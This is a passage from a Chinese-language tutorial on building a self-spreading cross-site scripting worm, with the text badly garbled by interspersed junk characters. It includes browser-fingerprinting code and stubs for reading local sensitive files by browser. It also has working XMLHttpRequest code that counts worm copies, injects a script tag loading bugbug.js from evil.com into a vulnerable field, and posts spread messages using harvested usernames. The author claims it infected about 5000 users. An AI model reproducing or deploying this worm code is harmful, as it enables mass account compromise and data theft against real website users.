if(Browser_Agent.indexOf("Maxthon")!=-1){; [/ ~4 e9 c: X* r% Q( ^% I
& F0 L ], J1 S' G) x0 i0 i Actual_Name+="(Maxthon)";4 I& ?, X& R) X& F/ D6 I4 J& Y
/ ?. |; t) l( G. a1 u; r
}
1 ?% b1 H) y7 c4 C( g$ h3 {
: G( c2 T& ]. v( J& Q else if(Browser_Agent.indexOf("Opera")!=-1){1 A8 }8 J" g3 T$ U2 @4 O. Q& S& f
3 G& I1 l( ?) p. x" _$ _5 i; Y
Actual_Name="Opera";
3 D: z8 U2 d; f
; I; w% S+ c+ n. k; e var tempstart=Browser_Agent.indexOf("Opera");
8 {4 \& p1 b$ D- a1 {' Y7 e1 P6 \3 O# Y
var tempend=Browser_Agent.length;8 Q: I3 C3 p# ?0 V: D2 E. g/ U
$ ]) p3 d$ k+ P! w9 ^/ O2 J Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
9 m6 w9 s% P: Q) P! ^/ Y* |
5 c6 }) s2 W) _% f* k }
% {6 S( l/ v+ w
1 P& D- p( T# m' g }3 Z% k8 C/ G( ]" T }
2 O, b0 Q- B! s$ F" h' R
else{- a! G- D' x9 Z: c, i( e q8 [
N$ r- X @4 R- g- m
Actual_Name="Unknown Navigator"
% @3 ]! N. b, W4 d4 A4 U% b' |- e- n( b6 v1 Z: U) O7 a* g v2 T+ E t
Actual_Version="Unknown Version"
$ N( b$ l8 R1 i5 B0 z( Q4 V$ @2 ^4 r; J* Z/ E
}
. i6 c; I! i9 L1 C% e" W9 R" i8 r k+ [; P! R f3 A
& F# p" m2 S) X; {1 e
( X Q& @/ i3 o navigator.Actual_Name=Actual_Name;
" i- t2 R. t2 d% Q6 A! W% Z, d& D# c
navigator.Actual_Version=Actual_Version;7 p5 Y* b q& b
' C8 U* t' i* c( Y' ~ 6 e, M, a5 b- Q7 ?
4 n# j4 V [- j
this.Name=Actual_Name;
$ ?: A# b z {) M0 d4 g) G: q4 Z* `2 j
this.Version=Actual_Version;. t# ^" k/ u! {$ W( k! n& v- G8 T
Z* y1 Z1 {; E }0 J# Q$ ^3 ^+ Q% w/ m6 d
0 O( ]( x( B6 w5 e
browserinfo();
* \& \7 p( |4 T! h* I2 J# b/ V& P
3 m% {" R2 Y) Y; o7 P! [8 n; | if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
7 b2 E' |3 J$ {* T7 k
7 k% z1 v! n( L, l if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}! c, a( n4 K! j$ o5 u. P
3 w) @& b9 ?& Y" ^5 O1 f# h
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
( A5 O: B4 [9 t0 d8 x+ m. B# R" r" O1 `# }
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}1 W0 w$ z( b% M7 ^' D3 H5 T+ o4 V
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
% H! e$ x! S: k1 e8 C4 L: t复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
4 K! D- ^4 ^8 ~; A/ j' F复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
7 W* f( Z7 z$ b+ }
9 v# K$ C# }4 e( Y F6 |xmlHttpReq.send(null);- N6 m; f9 E+ K4 C; y! {
7 @4 X/ R& }" J, m) Jvar resource = xmlHttpReq.responseText;
" a- S- @% q* ~, q
2 S1 F( L. s3 Evar id=0;var result;+ [0 n* b& _4 k8 O
& h# B' a5 Y* E/ k0 F
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
$ a. Z9 f) {$ m T7 w/ {6 O. R, h$ X; l: r
while ((result = patt.exec(resource)) != null) {
" z, f2 W: U6 G. l2 ]
7 A. N9 S/ C V$ R3 V8 oid++;, L6 ~5 d/ L: G! {
/ _, D5 m" d" {, [( k2 W
}& g4 M4 K/ k- n' x4 R( h8 H
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
" l5 R; D9 o" G; k; k9 ~- z+ B' Y6 b& I4 }2 ]% e- u7 K, ^
no=resource.search(/my name is/);6 U) A2 W: L4 j" R
% C3 I' r. ]( C# \+ S6 R
var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码. ?% @/ K" i' p5 t. u- l/ `
( d5 o0 u. K4 U2 @, Y7 `var post="wd="+wd;
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! Q I4 j! C* X/ fxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.& R' m4 I8 S U- p
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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o2 T" j5 C/ R4 l( T& R! oxmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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) u( Z! w5 s& q" t- oxmlHttpReq.send(post);- t0 [4 {, r2 U1 D' ~0 g- j+ @
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{ H0 `( Q9 I8 J
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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$ _; Z( W# Q+ B% evar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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, Q/ N1 ?: _7 J/ T' Vvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.' e6 d( R+ `7 s( B1 Z* u
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var post="wd="+wd;5 R$ ?. g v: p7 V) R
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);( {9 m4 [) q, o% u/ W; W1 y- [
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");/ g( I' l! C+ q* y; e
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");# i: \4 ?: I$ }8 {9 U& e7 @
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xmlHttpReq.send(post); //把传播的信息 POST出去.
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}
( I- |* t2 c" D/ N" v7 C7 e复制代码-----------------------------------------------------总结-------------------------------------------------------------------) j2 F: R: H0 e8 P. W8 b }
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: F3 _' l* ?0 c6 B( ?/ q# F0 m本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
/ B) r y; V1 G* q# V' y蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.( y# y7 X5 V5 L+ ~* k( j( U
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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本文引用文档资料:3 R) G8 ~+ Q9 @6 E
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)* [4 `6 O- H3 x
Other XmlHttpRequest tricks (Amit Klein, January 2003)
/ H, N: [. \3 _" R5 K3 }3 H"Cross Site Tracing" (Jeremiah Grossman, January 2003)9 Z8 G% O% N0 g8 X# _5 V
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